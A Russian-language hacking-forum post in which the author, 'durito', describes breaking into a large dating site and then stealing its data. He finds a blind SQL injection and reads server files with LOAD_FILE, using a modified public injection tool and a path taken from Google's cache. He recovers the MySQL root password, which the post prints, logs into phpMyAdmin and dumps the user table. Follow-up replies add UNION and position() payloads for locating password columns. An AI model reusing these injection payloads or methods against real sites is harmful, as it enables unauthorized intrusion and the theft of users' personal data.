вот тут решил поделиться небольшим опытом Недавно столкнулся с такой проблемой, нашел в одном крупном датинге слепую инъекцию. Снял пароль root'a для mysql, благо он крутился под ним. Потом нашел директорию http://www.хороший_датинг.com/phpmyadmin/ и оставалось лишь расшифровать хеш. Но вот тут я завис не 2 месяца. Поднятые на дедиках брутилки так ничего и не дали. Платные онлайн-сервисы тоже мне никак не помогли. Короче промучившись с брутом, я решил поискать иной способ проникновения. Возникла мысль прочитать файл коннекта к базе, ведь там пароль должен был лежать в открытом виде. Вся надежда была на то, что админ не пользуется различными приблудами типа Zend Optimizer для шифрования php-кода. С помощью сканера директорий и файлов http://scan.0day.in:8080/action/scan я нашел файл http://www.хороший_датинг.com/auth.php. Оставалось вывести его содержимое через слепую инъекцию. Но для начала мне надо было узнать путь до файла. Можно было подставляя служебные символы во все формы сайта попытаться вывести ошибку, но я решил для начала воспользоваться гуглом. По запросу site: www.хороший_датинг.com mysql или home можно иногда получить полный путь до корня, так как иногда скрипты сервера глючат и этот глюк индексирует гугл. Так случилось и в этот раз. И даже не смотря на то, что глюкнувший скрипт уже работал нормально, в хеше гугла сохранился пусть до корня. Code: /home/ldc/хороший_датинг/public_html/login.php Зачарив путь до нужного мне скрипта Code: +and+ascii(substring((LOAD_FILE(CHAR(47,104,111,109,101,47,108,100,99,47,245,238,240,238,248,232,233,95,228,224,242,232,237,227,47,112,117,98,108,105,99,95,104,116,109,108,47,108,111,103,105,110,46,112,104,112))),1,1))>96 Я понял что перебирать придется руками, а это не есть гуд. SIMP4 выводит блингом значения до 1 пробела, поэтому все что он мне показал было <?php. Руками же перебирать ломало. Тогда я полез в исходники старого пакета для эксплуатации mysql-инъекций от Piflit. В файле blind.php я нашел строку: for($i = 1; $i<30; $i++){ которая задавала цикл перебора. Сменив значение на for($i = 10; $i<50; $i++){ я получил символы второй строки файла Code: ude_once("connect.php"); Стало ясно, что инфа для коннекта к mysql лежит в другом файле. Зачарив путь до connect.php я стал выводить его содержимое. И вот через 5 минут у меня были полные реквизиты для доступа к базе сервака: Code: or_reporting(0);nn=mysql_connect("localhost","root","fVg1S4H4Q5f9R0aFv"); пароль оказался неслабым, поэтому неудивительно, что сбрутить его неудалось. Зайдя под рутом в phpmyadmin я сразу слил таблицу с юзерами, а после сел и написал эту маленькую заметку. Надеюсь она вам пригодиться. (c) durito
Информация к размышлению Code: position("pass" IN load_file("/path/config.php")) select substring(load_file("/path/config.php"),pos)
Возвращает позицию вхождения подстроки в строку или ноль если строка не найдена. Функция таит в себе огромные возможности. Как вам например такой запрос: Code: http://site.ru/index.php?id=1+UNION+SELECT+1,group_concat(concat_ws(0x3a,table_schema,table_name,column_name))+FROM+information_schema.columns+WHERE+position(0x70617373+in+column_name)+--+ Выводит все таблицы в названии полей которых есть "pass". Причем кавычки не используются.
durito - нашенский )) проявил волю, терпение и способности анализировать и исправлять свои ошибки. "Папа, а что такое Гугл?" "Это хакирский сайт"